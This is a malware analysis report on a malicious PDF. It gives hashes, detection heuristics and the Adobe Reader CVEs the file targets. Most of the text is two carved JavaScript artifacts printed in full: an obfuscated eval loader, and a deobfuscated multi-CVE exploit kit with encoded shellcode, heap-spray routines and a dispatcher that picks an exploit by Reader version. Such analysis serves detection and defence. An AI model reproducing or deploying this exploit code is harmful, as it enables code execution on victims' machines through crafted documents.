Malicious PDF — malware analysis report

Static analysis result for SHA-256 4c865fa2ca0a6b95…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-09
MD5: e9cf2e190b6f64dee424c70e2db3dd57 SHA-1: 90f3de71cbd59e231723a418c5f49ba4e99c1758 SHA-256: 4c865fa2ca0a6b958571299dd312b0d31bd1fcd3f6bc329b388ac284ff054bf9
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely responsible for executing malicious code, although its specific actions cannot be determined without further analysis of the script content. The 'test' in the document body provides no actionable information.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0EB 450 bytes
SHA-256: 0f119ec618b605fb491a3e728a449bcccefd8c1d23c56fedcc1651add91982e0
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
dbjv='';
erq=('qwrwqr','tit');
e('ocgx=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
iqle=e('String.fro'+ocgx.substr(0,9));
sdtwn = e(ocgx.substr(9)['replace'](/u/g,','));
e('k=sdtwn.length');
for (i = 0; i < k; i+=2) {
	uabwn = sdtwn[i+1] + ('erybjkerl',sdtwn[i]);
	dbjv += iqle(uabwn);
}
e(dbjv);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3666 bytes
SHA-256: a8da49a92be7b85a44f8b39bc022b8b5d55f22c13727600ca621362822e0f4e3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u41b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%udd34%ue2aa%uc3fa%ue5e8%uffff%u34ff%udcd1%udddd%u5c83%u8131%udddc%u54dd%u503a%ucd92%ub250%uec89%u8a06%u8e8c%u8e8e%u8e8e%u8e8e%u8e88%ub58e%udcd9%udddd%u8b88%ub58e%ub3b2%udddd%ua8b5%ub1af%u89b0%u53b5%ud393%u3531%udd95%udddd%u358d%udda1%udddd%u0d22%u195e%ub5d5%u3292%ud892%u358d%uddb1%udddd%u0d22%u1d58%ucaa8%u89b7%u2e84%ub577%u23af%ucb6e%uc035%udddd%u8ddd%u8c35%udddd%u22dd%u8e0d%u23b7%u54b5%udcb2%u3560%uddd5%udddd%u358d%udde1%udddd%u0d22%uecbd%ub91d%u8d56%u56ed%ud18f%u8f56%u56c9%uf5af%uc564%udddd%uecdd%uec22%u711d%ubce1%udfa1%ufdf1%u121c%udcd0%u3f1a%u5c2d%u8622%u9761%u56b7%ucd9f%ucf56%u04a8%u9954%uc1f9%u1ebc%u56bd%uf9b1%u56f9%ue198%u8956%ua5d8%u37dc%u9756%u56c5%ufd87%u36dc%ue93e%u5694%u56e9%u33dc%u22ec%u1dec%u7121%u1d59%udaa9%u121c%udcd0%u361a%ue629%uf9a1%ua8f5%u563c%uf987%u36dc%u56bb%u96d1%u8756%udcc1%u5636%u56d9%u35dc%u9954%uc1f9%u1fbc%uddd5%u3235%u2223%ub522%ua9a9%ue7ad%uf2f2%ub8af%ub1bc%uaeb8%ubca9%ub8a9%ub5ad%ub3b2%uf3b8%ub3b4%ub2bb%ub9f2%uadf3%uadb5%ubbe2%ue9e0%ufbef%ue0b8%udde8';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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